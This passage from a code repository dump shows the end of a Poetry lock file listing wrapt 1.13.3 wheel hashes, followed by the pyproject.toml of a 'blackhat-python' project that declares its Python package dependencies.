"sha256:766b32c762e07e26f50d8a3468e3b4228b3736c805018e4b0ec8cc01ecd88125"}, 839 | {file = "wrapt-1.13.3-cp36-cp36m-win32.whl", hash = "sha256:5f223101f21cfd41deec8ce3889dc59f88a59b409db028c469c9b20cfeefbe36"}, 840 | {file = "wrapt-1.13.3-cp36-cp36m-win_amd64.whl", hash = "sha256:f122ccd12fdc69628786d0c947bdd9cb2733be8f800d88b5a37c57f1f1d73c10"}, 841 | {file = "wrapt-1.13.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:46f7f3af321a573fc0c3586612db4decb7eb37172af1bc6173d81f5b66c2e068"}, 842 | {file = "wrapt-1.13.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:778fd096ee96890c10ce96187c76b3e99b2da44e08c9e24d5652f356873f6709"}, 843 | {file = "wrapt-1.13.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:0cb23d36ed03bf46b894cfec777eec754146d68429c30431c99ef28482b5c1df"}, 844 | {file = "wrapt-1.13.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:96b81ae75591a795d8c90edc0bfaab44d3d41ffc1aae4d994c5aa21d9b8e19a2"}, 845 | {file = "wrapt-1.13.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:7dd215e4e8514004c8d810a73e342c536547038fb130205ec4bba9f5de35d45b"}, 846 | {file = "wrapt-1.13.3-cp37-cp37m-win32.whl", hash = "sha256:47f0a183743e7f71f29e4e21574ad3fa95676136f45b91afcf83f6a050914829"}, 847 | {file = "wrapt-1.13.3-cp37-cp37m-win_amd64.whl", hash = "sha256:fd76c47f20984b43d93de9a82011bb6e5f8325df6c9ed4d8310029a55fa361ea"}, 848 | {file = "wrapt-1.13.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b73d4b78807bd299b38e4598b8e7bd34ed55d480160d2e7fdaabd9931afa65f9"}, 849 | {file = "wrapt-1.13.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:ec9465dd69d5657b5d2fa6133b3e1e989ae27d29471a672416fd729b429eb554"}, 850 | {file = "wrapt-1.13.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:dd91006848eb55af2159375134d724032a2d1d13bcc6f81cd8d3ed9f2b8e846c"}, 851 | {file = "wrapt-1.13.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ae9de71eb60940e58207f8e71fe113c639da42adb02fb2bcbcaccc1ccecd092b"}, 852 | {file = "wrapt-1.13.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:51799ca950cfee9396a87f4a1240622ac38973b6df5ef7a41e7f0b98797099ce"}, 853 | {file = "wrapt-1.13.3-cp38-cp38-win32.whl", hash = "sha256:4b9c458732450ec42578b5642ac53e312092acf8c0bfce140ada5ca1ac556f79"}, 854 | {file = "wrapt-1.13.3-cp38-cp38-win_amd64.whl", hash = "sha256:7dde79d007cd6dfa65afe404766057c2409316135cb892be4b1c768e3f3a11cb"}, 855 | {file = "wrapt-1.13.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:981da26722bebb9247a0601e2922cedf8bb7a600e89c852d063313102de6f2cb"}, 856 | {file = "wrapt-1.13.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:705e2af1f7be4707e49ced9153f8d72131090e52be9278b5dbb1498c749a1e32"}, 857 | {file = "wrapt-1.13.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:25b1b1d5df495d82be1c9d2fad408f7ce5ca8a38085e2da41bb63c914baadff7"}, 858 | {file = "wrapt-1.13.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:77416e6b17926d953b5c666a3cb718d5945df63ecf922af0ee576206d7033b5e"}, 859 | {file = "wrapt-1.13.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:865c0b50003616f05858b22174c40ffc27a38e67359fa1495605f96125f76640"}, 860 | {file = "wrapt-1.13.3-cp39-cp39-win32.whl", hash = "sha256:0a017a667d1f7411816e4bf214646d0ad5b1da2c1ea13dec6c162736ff25a374"}, 861 | {file = "wrapt-1.13.3-cp39-cp39-win_amd64.whl", hash = "sha256:81bd7c90d28a4b2e1df135bfbd7c23aee3050078ca6441bead44c42483f9ebfb"}, 862 | {file = "wrapt-1.13.3.tar.gz", hash = "sha256:1fea9cd438686e6682271d36f3481a9f3636195578bab9ca3382e2f5f01fc185"}, 863 | ] 864 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "blackhat-python" 3 | version = "0.1.0" 4 | description = "Tools from Black Hat Python" 5 | authors = ["Lucas Melin "] 6 | license = "MIT" 7 | 8 | [tool.poetry.dependencies] 9 | python = "3.10" 10 | scapy = "^2.4.5" 11 | paramiko = "^2.8.1" 12 | opencv-python = "^4.5.4" 13 | requests = "^2.26.0" 14 | lxml = "^4.7.1" 15 | "github3.py" = "^3.0.0" 16 | pywin32 = "^303" 17 | pycryptodomex = "^3.12.0" 18 | WMI = "^1.5.1" 19 | volatility3 = "^1.0.1" 20 | 21 | [tool.poetry.dev-dependencies] 22 | black = {version = "^21.12b0", allow-prereleases = true} 23 | 24 | [build-system] 25 | requires = ["poetry-core>=1.0.0"] 26 | build-backend = "poetry.core.masonry.api" 27 | --------------------------------------------------------------------------------